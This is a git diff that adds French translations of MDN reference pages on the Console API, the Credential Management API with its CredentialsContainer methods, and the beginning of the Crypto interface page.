index 0000000000..2d3255a867
--- /dev/null
+++ b/files/fr/web/api/console_api/index.html
@@ -0,0 +1,76 @@
+---
+title: Console API
+slug: Web/API/Console_API
+tags:
+  - API
+  - Aperçu
+  - Journal
+  - Sortie
+  - console
+  - débogage
+  - test
+translation_of: Web/API/Console_API
+---
+<div>{{DefaultAPISidebar("Console API")}}</div>
+
+<p><span class="seoSummary">L'<strong><code>API Console</code></strong> fournit des fonctionnalités permettant aux développeurs d'effectuer des tâches de débogage, telles que la journalisation des messages ou les valeurs des variables à des points définis dans votre code, ou calculer la durée d'une opération.</span></p>
+
+<h2 id="Concepts_et_utilisation">Concepts et utilisation</h2>
+
+<p>L'<code>API Console</code> a commencé comme une API largement propriétaire, avec différents navigateurs l'implémentant, bien que cela ne soit pas cohérent. <a href="https://console.spec.whatwg.org/">La spécification de l'API Console</a> a été créée pour définir un comportement cohérent, et tous les navigateurs modernes ont finalement décidé d'implémenter ce comportement - bien que certaines implémentations aient toujours leurs propres fonctions propriétaires supplémentaires. Découvrez-les sur:</p>
+
+<ul>
+ <li><a href="https://developers.google.com/chrome-developer-tools/docs/console-api">Implémentation de Google Chrome DevTools</a></li>
+ <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html">Implémentation de Safari DevTools</a></li>
+</ul>
+
+<p>L'utilisation est très simple - l'objet {{domxref ("console")}} - disponible via {{domxref ("window.console")}}, ou {{domxref ("WorkerGlobalScope.console")}} dans les workers; accessible en utilisant uniquement la <code>console</code> - contient de nombreuses méthodes que vous pouvez appeler pour effectuer des tâches de débogage rudimentaires, généralement axées sur la journalisation de diverses valeurs dans la <a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Web_Console">console Web</a> du navigateur.</p>
+
+<p>La méthode de loin la plus couramment utilisée est {{domxref ("console.log")}}, qui est utilisée pour consigner la valeur en cours contenue dans une variable spécifique.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("console")}}</dt>
+ <dd>Fournit des fonctionnalités de débogage rudimentaires, y compris la journalisation, les traces de pile, les minuteries et les compteurs.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">let myString = 'Hello world'
+
+// Output "Hello world" to the console
+console.log(myString)</pre>
+
+<p>Consultez <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Console#Usage">la page de référence de la console</a> pour plus d'exemples.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Définition initial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, veuillez consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Console")}}</p>
+
+<h2 id="Voir_également">Voir également</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Tools" title="Tools">Outils</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Web_Console">Console Web</a> - comment la console Web de Firefox traite les appels de l'<code>API Console</code>.</li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Tools/Remote_Debugging">Débogage à distance</a> - comment voir la sortie de la console lorsque la cible de débogage est un appareil mobile.</li>
+</ul>
diff --git a/files/fr/web/api/credential/index.html b/files/fr/web/api/credential/index.html
new file mode 100644
index 0000000000..3c0956f0df
--- /dev/null
+++ b/files/fr/web/api/credential/index.html
@@ -0,0 +1,66 @@
+---
+title: Credential
+slug: Web/API/Credential
+tags:
+  - API
+  - Credential
+  - Credential Management API
+  - Interface
+  - Reference
+translation_of: Web/API/Credential
+---
+<p>{{SeeCompatTable}}{{APIRef("Credential Management API")}}{{securecontext_header}}</p>
+
+<p>L'interface <strong><code>Credential</code></strong>, rattachée à l'<a href="/fr/docs/Web/API/Credential_Management_API">API Credential Management</a>, fournit des informations relatives à une entité qui seront utilisées comme prérequis à l'établissement d'une relation de confiance.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Credential.id")}} {{readonlyInline}}</dt>
+ <dd>Une chaîne de caractères qui est l'identifiant des informations d'authentification. Cela peut être un GUID, un nom d'utilisateur ou une adresse électronique.</dd>
+ <dt>{{domxref("Credential.type")}} {{readonlyInline}}</dt>
+ <dd>Une chaîne de caractères qui décrit le type d'information d'authentification utilisée. Les valeurs valides sont
+ <ul>
+  <li><code>password</code> (pour {{domxref("PasswordCredential")}})</li>
+  <li><code>federated</code> (pour {{domxref("FederatedCredential")}})</li>
+  <li><code>public-key</code> (pour {{domxref("PublicKeyCredential")}})<span style="display: none;"> </span></li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Gestionnaires_d'évènements">Gestionnaires d'évènements</h3>
+
+<p>Aucun.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// TBD</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Credential")}}</p>
diff --git a/files/fr/web/api/credential_management_api/index.html b/files/fr/web/api/credential_management_api/index.html
new file mode 100644
index 0000000000..2f57393cbc
--- /dev/null
+++ b/files/fr/web/api/credential_management_api/index.html
@@ -0,0 +1,70 @@
+---
+title: Credential Management API
+slug: Web/API/Credential_Management_API
+tags:
+  - API
+  - Credential Management API
+  - Landing
+  - Reference
+  - Web Authentification API
+  - WebAuthn
+translation_of: Web/API/Credential_Management_API
+---
+<div>
+<p>{{APIRef("Credential Management API")}}{{ SeeCompatTable() }}</p>
+
+<p class="summary">L'API <strong>Credential Management</strong> (en français : gestion des informations d'authentification) permet à un site web d'enregistrer et de récupérer des informations d'authentifications pour un utilisateur (qu'elles soient fédérées, utilisent un mot de passe ou une paire de clés asymétrique). Un utilisateur peut ainsi se connecter à un service sans avoir à saisir de mot de passe, de voir le compte fédéré utilisé pour se connecter à un site, de rouvrir une session sans avoir à se reconnecter après une session expirée.</p>
+</div>
+
+<h2 id="Concepts_et_utilisation_de_l'API_Credential_Management">Concepts et utilisation de l'API <em>Credential Management</em></h2>
+
+<p>Cette API permet aux sites web d'interagir avec le système de mots de passe de l'agent utilisateur afin que les sites web puissent gérer de façon uniforme les informations d'authentification. Ainsi, les sites et agents utilisateur peuvent mieux communiquer sur ces aspects.</p>
+
+<p>Ainsi, sans cette API, un agent utilisateur pourra rencontrer certaines difficultés à gérer des fournisseurs d'identité fédérée ou d'autres mécanismes de connexion.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette API est restreinte aux contextes de plus haut niveau. Les appels à <code>get()</code> et <code>store()</code> depuis une {{HTMLElement("iframe")}} seront résolus sans aucun effet.</p>
+</div>
+
+<h3 id="Informations_d'authentification_partagées_entre_les_sous-domaines">Informations d'authentification partagées entre les sous-domaines</h3>
+
+<p>Les versions les plus récentes de la spécification permettent de récupérer les informations relatives à un sous-domaine différent. Ainsi, un mot de passe enregistré pour <code>login.example.com</code> pourrait être utilisé pour se connecter à <code>www.example.com</code>. Pour permettre cela, le mot de passe doit explicitement être stocké en appelant {{domxref("CredentialsContainer.store()")}}. Ce comportement est parfois intitulé <em>Public suffix list (PSL) matching</em> (correspondance des listes de suffixes publics). Toutefois, la spécification ne fait que recommander l'utilisation du PSL pour déterminer la portée des informations d'authentification. Formellement, le PSL n'est pas obligatoire. Les navigateurs peuvent donc varier dans leurs implémentations.</p>
+
+<h2 id="Interfaces">Interfaces</h2>
+
+<dl>
+ <dt>{{domxref("Credential")}}</dt>
+ <dd>Cette interface fournit des informations relatives à une entité qui seront utilisées comme prérequis à l'établissement d'une relation de confiance.</dd>
+ <dt>{{domxref("CredentialsContainer")}}</dt>
+ <dd>Cette interface expose des méthodes pour récupérer des informations d'authentification et notifier l'agent utilisateur lorsque des évènements pertinents se produisent (connexion ou déconnexion réussies par exemple). Cette interface est accessible via <code>navigator.credentials</code>.</dd>
+ <dt>{{domxref("FederatedCredential")}}</dt>
+ <dd>Cette interface fournit des informations relatives à des informations d'authentifcation provenant d'un fournisseur d'identité fédéré (c'est une entité à laquelle un site web fait confiance pour authentifier un utilisateur et qui fournit une API à cet effet). Le <em>framework</em> <a href="http://openid.net/developers/specs/">OpenID Connect</a> est un exemple d'un tel cas de figure.</dd>
+ <dt>{{domxref("PasswordCredential")}}</dt>
+ <dd>Cette interface fournit des informations à propos d'un couple nom d'utilisateur / mot de passe.</dd>
+ <dt>{{domxref("PublicKeyCredential")}}</dt>
+ <dd>Cette interface fournit des informations d'authentification pour se connecter à l'aide d'une paire de clés asymétrique (permettant d'éviter le hameçonnage et la fuite de données) plutôt qu'avec un mot de passe.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/api/credentialscontainer/create/index.html b/files/fr/web/api/credentialscontainer/create/index.html
new file mode 100644
index 0000000000..00de2917a1
--- /dev/null
+++ b/files/fr/web/api/credentialscontainer/create/index.html
@@ -0,0 +1,90 @@
+---
+title: CredentialsContainer.create()
+slug: Web/API/CredentialsContainer/create
+tags:
+  - API
+  - Credential Management API
+  - Méthode
+  - Reference
+  - Web Authentication API
+  - WebAuthn
+translation_of: Web/API/CredentialsContainer/create
+---
+<p>{{APIRef("Credential Management")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>create()</code></strong>, rattachée à l'interface {{domxref("CredentialsContainer")}}, renvoie une promesse ({{jsxref("Promise")}}) qui est résolue en</p>
+
+<ul>
+ <li>une nouvelle instance {{domxref("Credential")}} construite avec les options fournies</li>
+ <li>{{jsxref("null")}} si aucun objet <code>Credential</code> ne peut être créé.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Cette méthode ne peut être utilisé que pour les contextes de navigation les plus hauts. Les appels lancés depuis une {{HTMLElement("iframe")}} résoudront la promesse sans aucun effet.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var promise = CredentialsContainer.create([options])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>options</code></dt>
+ <dd>Un objet de type {{domxref("CredentialCreationOptions")}} qui contient des options pour le nouvel objet <code>Credentials</code> demandé. Cet objet doit posséder au moins une des propriétés parmi <code>"password"</code>, <code>"federated"</code> ou <code>"publicKey"</code>. Les options sont :
+ <ul>
+  <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">password</span></font>: {{optional_inline}} un objet {{domxref("HTMLFormElement")}} ou un objet {{domxref("PasswordCredentialData")}}
+   <ul>
+    <li><code>id</code>: (obligatoire) {{domxref("USVString")}} hérité de {{domxref("CredentialData")}}.</li>
+    <li><code>name</code>: {{optional_inline}} {{domxref("USVString")}}</li>
+    <li><code>iconURL</code>: {{optional_inline}} {{domxref("USVString")}}</li>
+    <li><code>password</code>: (required) {{domxref("USVString")}}</li>
+   </ul>
+  </li>
+  <li><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">federated</span></font> : {{optional_inline}} un objet {{domxref("FederatedCredentialInit")}}. Cet objet contient le nécessaire pour créer/obtenir des informations d'authentification fédérées. Les propriétés disponibles sont :
+   <ul>
+    <li><code>id</code>: (required) {{domxref("USVString")}} hérité de {{domxref("CredentialData")}}.</li>
+    <li><code>name</code>: {{optional_inline}} {{domxref("USVString")}}</li>
+    <li><code>iconURL</code>: {{optional_inline}} {{domxref("USVString")}}</li>
+    <li><code>provider</code>: (required) {{domxref("USVString")}}</li>
+    <li><code>protocol</code>: {{optional_inline}} {{domxref("USVString")}}</li>
+   </ul>
+  </li>
+  <li><code>publicKey</code> : {{optional_inline}} un objet {{domxref("PublicKeyCredentialCreationOptions")}} qui décrit les options pour créer une information d'authentification <a href="/fr/docs/Web/API/Web_Authentication_API">WebAuthn</a>.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{jsxref("Promise")}}) dont la valeur de résolution est une instance {{domxref("Credential")}} telle que {{domxref("PasswordCredential")}}, {{domxref("FederatedCredential")}} ou {{domxref("PublicKeyCredential")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management','#dom-credentialscontainer-get','get()')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.CredentialsContainer.create")}}</p>
diff --git a/files/fr/web/api/credentialscontainer/get/index.html b/files/fr/web/api/credentialscontainer/get/index.html
new file mode 100644
index 0000000000..ac86e8223b
--- /dev/null
+++ b/files/fr/web/api/credentialscontainer/get/index.html
@@ -0,0 +1,82 @@
+---
+title: CredentialsContainer.get()
+slug: Web/API/CredentialsContainer/get
+tags:
+  - API
+  - Credential Management API
+  - CredentialsContainer
+  - Méthode
+  - Reference
+  - Web Authentication API
+  - WebAuthn
+translation_of: Web/API/CredentialsContainer/get
+---
+<p>{{APIRef("Credential Management")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>get()</code></strong>, rattachée à l'interface {{domxref("CredentialsContainer")}}, renvoie une promesse ({{jsxref("Promise")}}) qui est résolue en une instance de {{domxref("Credential")}} correspondant aux paramètres fournis. Si aucune correspondance n'est trouvée, la promesse sera résolue avec la valeur {{jsxref("null")}}.</p>
+
+<p>Cette méthode collecte l'ensemble des informations d'authentification stockées dans l'objet {{domxref("CredentialsContainer")}} et qui respectent les critères indiqués (définis grâce à l'argument <code><strong>options</strong></code>). À partir de cet ensemble, l'agent utilisateur sélectionne la meilleure information d'authentification. Selon les options fournies, l'agent utilisateur pourra afficher une boîte de dialogue et demander à l'utilisateur de sélectionner la bonne information.</p>
+
+<p>Cette méthode récupère les informations d'authentification en appelant la méthode <code>CollectFromCredentialStore</code> pour chaque type d'authentification permis par l'argument <code><strong>options</strong></code>. Ainsi, si la propriété <code>options.password</code> existe dans l'argument passé,   {{domxref("PasswordCredential")}}<code>.[[CollectFromCredentialStore]]</code> sera appelée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette méthode ne peut être utilisé que pour les contextes de navigation les plus hauts. Les appels lancés depuis une {{HTMLElement("iframe")}} résoudront la promesse sans aucun effet.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var promise = CredentialsContainer.get([options])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>Un objet de type {{domxref("CredentialRequestOptions")}} qui contient les critères de la requête. et les options d'interaction avec l'utilisateur. Cet objet peut contenir les propriétés suivantes :
+ <ul>
+  <li><code>password</code> : un booléen ({{jsxref("Boolean")}}) qui indique que l'instance {{domxref("Credential")}} renvoyée devrait contenir les informations sur l'utilisateur (contrairement aux informations d'authentification fédérées).</li>
+  <li><code>federated</code> : un objet {{domxref("FederatedCredentialRequestOptions")}} qui contient les critères que doivent respecter les informations d'authentification fédérées. Les options disponibles sont :
+   <ul>
+    <li><code>providers</code> : un tableau de chaînes de caractères {{domxref("DOMString")}} listant les fournisseurs d'identité potentiels</li>
+    <li><code>protocols</code> : un tableau de chaînes de caractères {{domxref("DOMString")}} listant les protocoles de fédération à rechercher.</li>
+   </ul>
+  </li>
+  <li><code>publicKey</code> : un objet {{domxref("PublicKeyCredentialRequestOptions")}} contenant les conditions que doivent respecter les informations d'authentification <a href="/fr/docs/Web/API/Web_Authentication_API">WebAuthn</a> qui seront renvoyées.</li>
+  <li><code>mediation</code> : une chaîne de caractères {{jsxref("String")}} qui indique si l'utilisateur devra se reconnecter à chaque visite sur le site. Les valeurs valides sont <code>"silent"</code>, <code>"optional"</code> ou <code>"required"</code>.</li>
+  <li><code>unmediated</code> : {{deprecated_inline()}} un booléen ({{jsxref("Boolean")}}) qui indique que l'instance {{domxref("Credential")}} renvoyée ne devrait pas nécessiter de médiation avec l'utilisateur.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{jsxref("Promise")}}) qui est résolue avec une instance {{domxref("Credential")}} correspondant aux paramètres fournis. S'il n'est pas possible d'obtenir une seule instance sans ambiguïté, la promesse sera résolue avec la valeur {{jsxref("null")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management','#dom-credentialscontainer-get','get()')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.CredentialsContainer.get")}}</p>
diff --git a/files/fr/web/api/credentialscontainer/index.html b/files/fr/web/api/credentialscontainer/index.html
new file mode 100644
index 0000000000..e110b4ab03
--- /dev/null
+++ b/files/fr/web/api/credentialscontainer/index.html
@@ -0,0 +1,72 @@
+---
+title: CredentialsContainer
+slug: Web/API/CredentialsContainer
+tags:
+  - API
+  - Credential Management API
+  - Interface
+  - Reference
+  - Web Authentication API
+  - WebAuthn
+translation_of: Web/API/CredentialsContainer
+---
+<p>{{SeeCompatTable}}{{APIRef("Credential Management API")}}{{securecontext_header}}</p>
+
+<p>L'interface <strong><code>CredentialsContainer</code></strong>, rattachée à l'<a href="/en-US/docs/Web/API/Credential_Management_API">API Credential Management</a>, expose des méthodes pour demander l'accès aux informations d'authentification et informer l'agent utilisateur lorsque des évènements pertinents se produisent (connexion et déconnexion réussies par exemple). On peut accéder à cette interface via {{domxref('Navigator.credentials')}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p>Aucune.</p>
+
+<h3 id="Gestionnaires_d'évènements">Gestionnaires d'évènements</h3>
+
+<p>Aucun.</p>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("CredentialsContainer.create()")}}{{securecontext_inline}}</dt>
+ <dd>Cette méthode renvoie une promesse ({{jsxref("Promise")}}) qui est résolue avec une nouvelle instance {{domxref("Credential")}} construite selon les options fournies ou <code>null</code> si aucun objet <code>Credential</code> ne peut être créé.</dd>
+ <dt>{{domxref("CredentialsContainer.get()")}}{{securecontext_inline}}</dt>
+ <dd>Cette méthode renvoie une promesse ({{jsxref("Promise")}}) qui est résolue avec l'instance de {{domxref("Credential")}} qui correspond aux paramètres fournis.</dd>
+ <dt>{{domxref("CredentialsContainer.preventSilentAccess()")}}{{securecontext_inline}}</dt>
+ <dd>Cette méthode active un marqueur qui indique si une connexion automatique est autorisée pour les futures visites sur cette origine et renvoie une promesse ({{jsxref("Promise")}}) vide. <br>
+ <br>
+ On pourra par exemple appeler cette méthode après qu'un utilisateur se soit déconnecté d'un site web pour s'assurer qu'il n'est pas reconnecté à la prochaine visite. Dans des versions antérieures de la spécification, cette méthode était intitulée <code>requireUserMediation()</code>. Voir le tableau de compatibilité ci-après pour plus de détails.</dd>
+ <dt>{{domxref("CredentialsContainer.store()")}}{{securecontext_inline}}</dt>
+ <dd>Cette méthode enregistre des informations d'authentification pour un utilisateur à partir d'une instance {{domxref("Credential")}} fournie et renvoie cette instance dans une promesse ({{jsxref("Promise")}}).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// TBD</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebAuthn')}}</td>
+   <td>{{Spec2('WebAuthn')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.CredentialsContainer")}}</p>
diff --git a/files/fr/web/api/credentialscontainer/preventsilentaccess/index.html b/files/fr/web/api/credentialscontainer/preventsilentaccess/index.html
new file mode 100644
index 0000000000..6e66f28469
--- /dev/null
+++ b/files/fr/web/api/credentialscontainer/preventsilentaccess/index.html
@@ -0,0 +1,55 @@
+---
+title: CredentialsContainer.preventSilentAccess()
+slug: Web/API/CredentialsContainer/preventSilentAccess
+tags:
+  - API
+  - Credential Management API
+  - CredentialsContainer
+  - Méthode
+  - Reference
+translation_of: Web/API/CredentialsContainer/preventSilentAccess
+---
+<p>{{APIRef("")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>preventSilentAccess()</code></strong>, rattachée à l'interface  {{domxref("CredentialsContainer")}}, permet de paramétrer une option pour indiquer si les connexions automatiques sont autorisées pour les futures visites à l'origine. Elle renvoie ensuite une promesse ({{jsxref("Promise")}}) vide.</p>
+
+<p>Cette méthode peut, par exemple, être appelée lorsqu'un utilisateur se déconnecte d'un site web afin de s'assurer qu'il n'est pas reconnecté à la prochaine visite. Cette gestion doit être gérée pour chaque origine.</p>
+
+<p>Dans des versions antérieures de la spécification, cette méthode était intitulée <code>requireUserMediation()</code>. Voir le tableau ci-après sur la compatibilité des navigateurs pour plus de détails.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var Promise = CredentialsContainer.preventSilentAccess()</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{jsxref("Promise")}}) vide.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management','#dom-credentialscontainer-preventsilentaccess','preventSilentAccess()')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.CredentialsContainer.preventSilentAccess")}}</p>
diff --git a/files/fr/web/api/credentialscontainer/store/index.html b/files/fr/web/api/credentialscontainer/store/index.html
new file mode 100644
index 0000000000..f293a27e57
--- /dev/null
+++ b/files/fr/web/api/credentialscontainer/store/index.html
@@ -0,0 +1,62 @@
+---
+title: CredentialsContainer.store()
+slug: Web/API/CredentialsContainer/store
+tags:
+  - API
+  - Credential Management API
+  - CredentialsContainer
+  - Méthode
+  - Reference
+translation_of: Web/API/CredentialsContainer/store
+---
+<p>{{APIRef("")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>store()</code></strong>, rattachée à l'interface {{domxref("CredentialsContainer")}}, enregistre un ensemble d'informations d'authentification pour l'utilisateur dans une instance {{domxref("Credential")}} et renvoie cette instance au travers d'une promesse ({{domxref("Promise")}}).</p>
+
+<div class="note">
+<p><strong>Note :</strong> Cette méthode ne peut être utilisé que pour les contextes de navigation les plus hauts. Les appels lancés depuis une {{HTMLElement("iframe")}} résoudront la promesse sans aucun effet.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">CredentialsContainer.store(cred).then(function(credRes) { ... } )</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cred</code></dt>
+ <dd>Une instance valide de {{domxref("Credential")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{domxref("Promise")}}) qui sera résolue avec l'instance de {{domxref("Credential")}} passée en argument.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// TBD</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.CredentialsContainer.store")}}</p>
diff --git a/files/fr/web/api/crypto/index.html b/files/fr/web/api/crypto/index.html
new file mode 100644
index 0000000000..e7cbb32d09
--- /dev/null
+++ b/files/fr/web/api/crypto/index.html
@@ -0,0 +1,56 @@
+---
+title: Crypto
+slug: Web/API/Crypto
+translation_of: Web/API/Crypto
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>L'interface <code><strong>Crypto</strong></code> représente les fonctions cryptographiques de base dans notre contexte actuel. Elle permet d'accéder à de solides générateur de nombres aléatoires dédiés à la cryptographie ainsi qu'aux principales primitives cryptographiques.</p>
+
+<p>Un objet avec cette interface est disponible dans le contexte web de la page via la propriété {{domxref("Window.crypto")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Cette interface implémente les propriétés définies dans {{domxref("RandomSource")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("Crypto.subtle")}} {{experimental_inline}}{{readOnlyInline}}</dt>
+ <dd>Retourne un objet {{domxref("SubtleCrypto")}} procurant un accès aux principales primitives cryptographiques, comme le hashage, les signatures, le chiffrement ou le déchiffrement.</dd>
+</dl>
+
+<h2 id="Methodes">Methodes</h2>
+
+<p><em>Cette interface implémente les méthodes définies dans {{domxref("RandomSource")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("RandomSource.getRandomValues()") }}</dt>
